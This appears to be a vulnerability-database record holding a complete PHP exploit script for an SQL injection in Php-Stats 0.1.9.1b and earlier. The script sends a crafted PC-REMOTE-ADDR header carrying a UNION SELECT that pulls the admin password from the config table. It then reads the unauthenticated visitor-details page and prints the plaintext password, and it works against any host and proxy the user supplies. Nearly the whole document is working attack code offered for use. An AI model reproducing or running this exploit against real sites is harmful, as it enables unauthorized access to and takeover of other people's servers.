Description
No description provided by source.
{"sourceData": "\n <?php\r\nprint_r('\r\n---------------------------------------------------------------------------\r\nPhp-Stats <= 0.1.9.1b PC-REMOTE-ADDR sql injection / cleat text admin pass\r\ndisclosure\r\nby rgod\r\nmail: retrog at alice dot it\r\nsite: http://retrogod.altervista.org\r\n---------------------------------------------------------------------------\r\n');\r\n\r\nif ($argc<3) {\r\n print_r('\r\n---------------------------------------------------------------------------\r\nUsage: php '.$argv[0].' host path OPTIONS\r\nhost: target server (ip/hostname)\r\npath: path to phpstats\r\nOptions:\r\n -p[port]: specify a port other than 80\r\n -P[ip:port]: specify a proxy\r\nExample:\r\nphp '.$argv[0].' localhost /stats/ -P1.1.1.1:80\r\nphp '.$argv[0].' localhost /php-stats/stats/ -p81\r\n---------------------------------------------------------------------------\r\n');\r\n die;\r\n}\r\n\r\nerror_reporting(7);\r\nini_set("max_execution_time",0);\r\nini_set("default_socket_timeout",5);\r\n\r\nfunction quick_dump($string)\r\n{\r\n $result='';$exa='';$cont=0;\r\n for ($i=0; $i<=strlen($string)-1; $i++)\r\n {\r\n if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))\r\n {$result.=" .";}\r\n else\r\n {$result.=" ".$string[$i];}\r\n if (strlen(dechex(ord($string[$i])))==2)\r\n {$exa.=" ".dechex(ord($string[$i]));}\r\n else\r\n {$exa.=" 0".dechex(ord($string[$i]));}\r\n $cont++;if ($cont==15) {$cont=0; $result.="\\r\\n"; $exa.="\\r\\n";}\r\n }\r\n return $exa."\\r\\n".$result;\r\n}\r\n$proxy_regex = '(\\b\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\:\\d{1,5}\\b)';\r\n\r\nfunction send($packet)\r\n{\r\n global $proxy, $host, $port, $html, $proxy_regex;\r\n if ($proxy=='') {\r\n $ock=fsockopen(gethostbyname($host),$port);\r\n if (!$ock) {\r\n echo 'No response from '.$host.':'.$port; die;\r\n }\r\n }\r\n else {\r\n\t$c = preg_match($proxy_regex,$proxy);\r\n if (!$c) {\r\n echo 'Not a valid proxy...';die;\r\n }\r\n $parts=explode(':',$proxy);\r\n $parts[1]=(int)$parts[1];\r\n echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\\r\\n";\r\n $ock=fsockopen($parts[0],$parts[1]);\r\n if (!$ock) {\r\n echo 'No response from proxy...';die;\r\n\t}\r\n }\r\n fputs($ock,$packet);\r\n if ($proxy=='') {\r\n $html='';\r\n while (!feof($ock)) {\r\n $html.=fgets($ock);\r\n }\r\n }\r\n else {\r\n $html='';\r\n while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {\r\n $html.=fread($ock,1);\r\n }\r\n }\r\n fclose($ock);\r\n}\r\n\r\n$host=$argv[1];\r\n$path=$argv[2];\r\n$port=80;\r\n$proxy="";\r\nfor ($i=3; $i<$argc; $i++){\r\n$temp=$argv[$i][0].$argv[$i][1];\r\nif ($temp=="-p")\r\n{\r\n $port=(int)str_replace("-p","",$argv[$i]);\r\n}\r\nif ($temp=="-P")\r\n{\r\n $proxy=str_replace("-P","",$argv[$i]);\r\n}\r\n}\r\nif (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}\r\nif ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}\r\n\r\nfunction my_enc($my_string)\r\n{\r\n $encoded="CHAR(";\r\n for ($k=0; $k<=strlen($my_string)-1; $k++)\r\n {\r\n $encoded.=ord($my_string[$k]);\r\n if ($k==strlen($my_string)-1) {$encoded.=")";}\r\n else {$encoded.=",";}\r\n }\r\n return $encoded;\r\n}\r\n/*\r\nvulnerable code, php-stats.recphp.php, line 41:\r\n...\r\nif(isset($_SERVER['REMOTE_ADDR'])) $ip=(isset($_SERVER['HTTP_PC_REMOTE_ADDR']) ? $_SERVER['HTTP_PC_REMOTE_ADDR'] : $_SERVER['REMOTE_ADDR']);\r\n...\r\n\r\nvulnerable query, line 146:\r\n\r\n...\r\n$result=$php_stats_rec->php_stats_sql_query("SELECT data,lastpage,user_id,visitor_id,reso,colo,os,bw,giorno,level FROM $option[prefix]_cache WHERE user_id='$ip' LIMIT 1");\r\n...\r\n\r\noh, this is unpatched in php-stats.recphp.php... tze tze\r\nyou can never never trust http headers!\r\n\r\n*/\r\n\r\n$SQL="1.1.1.999'/**/UNION/**/SELECT/**/null,null,CONCAT(".my_enc("<!--").",value,".my_enc("-->")."),null,null,null,null,null,null,null/**/FROM/**/php_stats_config/**/WHERE/**/name='admin_pass'/*";\r\n$packet ="GET ".$p."php-stats.recphp.php HTTP/1.0\\r\\n";\r\n$packet.="PC-REMOTE-ADDR: $SQL\\r\\n";\r\n$packet.="User-Agent: Mozilla/5.0\\r\\n";\r\n$packet.="Host: ".$host."\\r\\n";\r\n$packet.="Connection: Close\\r\\n\\r\\n";\r\nsend($packet);\r\n\r\n//see visitor details page for results, pass is obfuscated inside html, under the last visitor IP field\r\n//this action can be normally performed without to be logged in\r\n\r\n$packet ="GET ".$p."admin.php?action=details HTTP/1.0\\r\\n";\r\n$packet.="User-Agent: Mozilla/5.0\\r\\n";\r\n$packet.="Host: ".$host."\\r\\n";\r\n$packet.="Connection: Close\\r\\n\\r\\n";\r\nsend($packet);\r\n$t=explode("whois.php?IP=<!--",$html);\r\n$t2=explode("-->",$t[1]);\r\n$pass=$t2[0];\r\necho "admin pass -> ".$pass."\\n";\r\n\r\n?>\n ", "status": "poc", "description": "No description provided by source.", "sourceHref": "https://www.seebug.org/vuldb/ssvid-6412", "reporter": "Root", "href": "https://www.seebug.org/vuldb/ssvid-6412", "type": "seebug", "viewCount": 4, "references": [], "lastseen": "2017-11-19T22:08:34", "published": "2007-03-17T00:00:00", "cvelist": [], "id": "SSV:6412", "enchantments_done": [], "modified": "2007-03-17T00:00:00", "title": "Php-Stats <= 0.1.9.1b (PC-REMOTE-ADDR) SQL Injection Exploit", "cvss": {"score": 0.0, "vector": "NONE"}, "bulletinFamily": "exploit", "enchantments": {"score": {"value": 0.4, "vector": "NONE"}, "dependencies": {}, "backreferences": {}, "exploitation": null, "vulnersScore": 0.4}, "immutableFields": [], "cvss2": {}, "cvss3": {}, "_state": {"dependencies": 1645236503, "score": 1659785532, "epss": 1678851499}}
{}